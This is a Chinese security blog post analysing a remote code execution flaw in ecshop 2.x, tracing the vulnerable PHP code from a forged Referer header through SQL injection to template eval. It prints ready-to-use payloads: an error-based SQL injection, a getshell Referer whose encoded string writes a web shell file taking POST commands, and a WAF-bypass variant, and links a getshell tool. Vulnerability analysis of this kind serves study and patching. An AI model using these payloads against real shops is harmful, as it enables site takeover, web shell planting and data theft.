首页 » NetworkSec » Penetration » 正文

ecshop 2.x远程代码执行漏洞重现及分析

本文参考自:ringk3y.com/2018/08/31/ecshop2-x代码执行/

//本文漏洞分析部分利用的payload/exp来源于此文。

0x00 概述

8月31日,网上爆出ecshop远程代码执行漏洞,经测试,该漏洞利用难度低,威力巨大可直接getshell,本文对此进行重现及分析。

0x01 影响范围

ecshop 2.x

 

0x02 漏洞重现

SQL注入:

报错注入payload:

Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:”num”;s:72:”0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)– -“;s:2:”id”;i:1;}

RCE getshell:

//工具https://github.com/theLSA/ecshop-getshell

 

0x03 修复方案

intval $arr[id]和$arr[num]

 

0x04 漏洞分析

报错注入payload:

Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:”num”;s:72:”0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)– -“;s:2:”id”;i:1;}

环境:ecshop 2.7.3

漏洞文件:

ecshop273\user.php:302

elseif ($action == 'login')
{
    if (empty($back_act))
    {
        if (empty($back_act) && isset($GLOBALS['_SERVER']['HTTP_REFERER']))
        {
            $back_act = strpos($GLOBALS['_SERVER']['HTTP_REFERER'], 'user.php') ? './index.php' : $GLOBALS['_SERVER']['HTTP_REFERER'];
        }
        else
        {
            $back_act = 'user.php';
        }
 
}

$back_act参数来源于Referer,可控。

$smarty->assign(‘back_act’, $back_act);

$smarty->display(‘user_passport.dwt’);

赋值展示

ecshop273\includes\cls_template.php:70

function assign($tpl_var, $value = '')
    {
        if (is_array($tpl_var))
        {
            foreach ($tpl_var AS $key => $val)
            {
                if ($key != '')
                {
                    $this->_var[$key] = $val;
                }
            }
        }
        else
        {
            if ($tpl_var != '')
            {
                $this->_var[$tpl_var] = $value;
            }
        }
    }
 
 function display($filename, $cache_id = '')
    {
        $this->_seterror++;
        error_reporting(E_ALL ^ E_NOTICE);
 
        $this->_checkfile = false;
        $out = $this->fetch($filename, $cache_id);
 
        if (strpos($out, $this->_echash) !== false)
        {
            $k = explode($this->_echash, $out);
            foreach ($k AS $key => $val)
            {
                if (($key % 2) == 1)
                {
                    $k[$key] = $this->insert_mod($val);
                }
            }
            $out = implode('', $k);
        }
        error_reporting($this->_errorlevel);
        $this->_seterror--;
 
        echo $out;
}

关键在于:

$out = $this->fetch($filename, $cache_id);
 
 
        if (strpos($out, $this->_echash) !== false)
 
        {
 
            $k = explode($this->_echash, $out);
 
            foreach ($k AS $key => $val)
 
            {
 
                if (($key % 2) == 1)
 
                {
 
                    $k[$key] = $this->insert_mod($val);
 
                }

_echash分割解析变量后的模板文件html,再传入insert_mod方法,先看看_echash是啥:

此文件的28行:

var $_echash = ‘554fcae493e564ee0dc75bdf2ebf94ca’;

是固定值,所以$var变量可控!

再看看insert_mod方法:

此文件1146行:

    function insert_mod($name) // 处理动态内容
    {
        list($fun, $para) = explode('|', $name);
        $para = unserialize($para);
        $fun = 'insert_' . $fun;
 
        return $fun($para);
}

用|分割传入的$name,需要序列化|后的参数,再动态调用insert_xxx方法,根据payload,看看insert_ads方法:
ecshop273\includes\lib_insert.php:136

function insert_ads($arr)
{
    static $static_res = NULL;
 
    $time = gmtime();
    if (!empty($arr['num']) && $arr['num'] != 1)
    {
        $sql  = 'SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, ' .
                    'p.ad_height, p.position_style, RAND() AS rnd ' .
                'FROM ' . $GLOBALS['ecs']->table('ad') . ' AS a '.
                'LEFT JOIN ' . $GLOBALS['ecs']->table('ad_position') . ' AS p ON a.position_id = p.position_id ' .
                "WHERE enabled = 1 AND start_time <= '" . $time . "' AND end_time >= '" . $time . "' ".
                    "AND a.position_id = '" . $arr['id'] . "' " .
                'ORDER BY rnd LIMIT ' . $arr['num'];
        $res = $GLOBALS['db']->GetAll($sql);
    }

明显没过滤传入的参数$arr[‘num’]和$arr[‘id’],导致SQL注入!

payload:

Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:”num”;s:72:”0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)– -“;s:2:”id”;i:1;}

查询语句为:

SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, p.ad_height, p.position_style, RAND() AS rnd FROM `thaihaog_shop3`.`ecs_ad` AS a LEFT JOIN `thaihaog_shop3`.`ecs_ad_position` AS p ON a.position_id = p.position_id WHERE enabled = 1 AND start_time <= '1535947826' AND end_time >= '1535947826' AND a.position_id = '1' ORDER BY a.ad_id DESC LIMIT 0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -

自此进入第二阶段:利用SQL注入达到代码执行

getshell payload:

Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:280:"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -";s:2:"id";s:3:"'/*";}

 

position_style的值:

{$asd'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzEucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMTMzN10pOyA/Picp'));//}xxx

根据payload,关键点在position_style这个字段,来源于数据库

ecshop273\includes\lib_insert.php:170

  foreach ($res AS $row)
    {
        if ($row['position_id'] != $arr['id'])
        {
            continue;
        }
        $position_style = $row['position_style'];

后面注入时要逃过这个if判断,id传入’/*即可。

num要传入:

*/ union select 1,0x272f2a,3,4,5,6,7,8,9,10– –

即可绕过

209:

 $position_style = 'str:' . $position_style;
 
    $need_cache = $GLOBALS['smarty']->caching;
    $GLOBALS['smarty']->caching = false;
 
    $GLOBALS['smarty']->assign('ads', $ads);
$val = $GLOBALS['smarty']->fetch($position_style);

追踪fetch函数:

ecshop273\includes\cls_template.php:135

 function fetch($filename, $cache_id = '')
    {
        if (!$this->_seterror)
        {
            error_reporting(E_ALL ^ E_NOTICE);
        }
        $this->_seterror++;
 
        if (strncmp($filename,'str:', 4) == 0)
        {
            $out = $this->_eval($this->fetch_str(substr($filename, 4)));
        }
        else

追踪fetch_str函数看看怎么处理第九个字段$position_style

ecshop273\includes\cls_template.php:281

function fetch_str($source)
    {
        if (!defined('ECS_ADMIN'))
        {
            $source = $this->smarty_prefilter_preCompile($source);
        }
 
        if(preg_match_all('~(<\?(?:\w+|=)?|\?>|language\s*=\s*[\"\']?php[\"\']?)~is', $source, $sp_match))
        {
            $sp_match[1] = array_unique($sp_match[1]);
            for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++)
            {
                $source = str_replace($sp_match[1][$curr_sp],'%%%SMARTYSP'.$curr_sp.'%%%',$source);
            }
             for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++)
            {
                 $source= str_replace('%%%SMARTYSP'.$curr_sp.'%%%', '<?php echo \''.str_replace("'", "\'", $sp_match[1][$curr_sp]).'\'; ?>'."\n", $source);
            }
         }
         return preg_replace("/{([^\}\{\n]*)}/e", "\$this->select('\\1');", $source);
    }

关键一行:

return preg_replace(“/{([^\}\{\n]*)}/e”, “\$this->select(‘\\1′);”, $source);

这一行意思是比如$source是{$yyy}xxx,那么经过这行代码处理后就是返回this->select(‘$yyy’).xxx的结果

//$yyy’];assert(base64_decode(‘ZmlsZV9wdXRfY29udGVudHMoJzEucGhwJywnP//D9waHAgZXZhbCgkX1BPU1RbMTMzN10pOyA/Picp’));//

追踪select()函数:

368行:

  function select($tag)
    {
        $tag = stripslashes(trim($tag));
 
        if (empty($tag))
        {
            return '{}';
        }
        elseif ($tag{0} == '*' && substr($tag, -1) == '*') // 注释部分
        {
            return '';
        }
        elseif ($tag{0} == '$') // 变量
        {
            return '<?php echo ' . $this->get_val(substr($tag, 1)) . '; ?>';
        }

//去掉了$

//yyy’];assert(base64_decode(‘ZmlsZV9wdXRfY29udGVudHMoJzEucGhwJywnP//D9waHAgZXZhbCgkX1BPU1RbMTMzN10pOyA/Picp’));//

再追踪get_val()函数:
544行:

function get_val($val)
    {
        if (strrpos($val, '[') !== false)
        {
            $val = preg_replace("/\[([^\[\]]*)\]/eis", "'.'.str_replace('$','\$','\\1')", $val);
        }
 
        if (strrpos($val, '|') !== false)
        {
            $moddb = explode('|', $val);
            $val = array_shift($moddb);
        }
 
        if (empty($val))
        {
            return '';
        }
 
        if (strpos($val, '.$') !== false)
        {
            $all = explode('.$', $val);
 
            foreach ($all AS $key => $val)
            {
                $all[$key] = $key == 0 ? $this->make_var($val) : '['. $this->make_var($val) . ']';
            }
            $p = implode('', $all);
        }
        else
        {
            $p = $this->make_var($val);
        }

再追踪make_var()函数:

654行:

  function make_var($val)
    {
        if (strrpos($val, '.') === false)
        {
            if (isset($this->_var[$val]) && isset($this->_patchstack[$val]))
            {
                $val = $this->_patchstack[$val];
            }
            $p = '$this->_var[\'' . $val . '\']';
        }

到这一步处理完成:

$p = ‘$this->_var[\” . $val . ‘\’]’;

最后return成$this->_var[‘yyy’]这样

就可以引入单引号闭合yyy,再执行恶意代码

所以第九个字段position_style构造为:

{$yyy'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzEucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMTMzN10pOyA/Picp'));//}xxx

即return

$this->_var[‘ yyy'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzEucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMTMzN10pOyA/Picp'));//  ‘]

再回到select函数

return ‘<?php echo ‘ . $this->get_val(substr($tag, 1)) . ‘; ?>’;

拼接成

<?php echo $this->_var[‘ yyy'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzEucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMTMzN10pOyA/Picp'));//  ‘];?>

所以fetch_str()返回的是

return preg_replace(“/{([^\}\{\n]*)}/e”, “\$this->select(‘\\1’);”, $source);

<?php echo $this->_var[‘ yyy'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzEucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMTMzN10pOyA/Picp'));//  ‘];?>xxx

再回到最外层的_eval函数:
1170行:

  function _eval($content)
    {
        ob_start();
        eval('?' . '>' . trim($content));
        $content = ob_get_contents();
        ob_end_clean();
 
        return $content;
    }

eval最终RCE

Getshell exp:

Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:280:"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -";s:2:"id";s:3:"'/*";}

 

0x05 过WAF

如果过滤了union select

则分开union select

id填’union/* 然后num填 */ select 1,0x27756e696f6e2f2a,3,4,5,6,7,8,9,10,

即可

 

0x06 结语

好厉害的一个洞。

Comment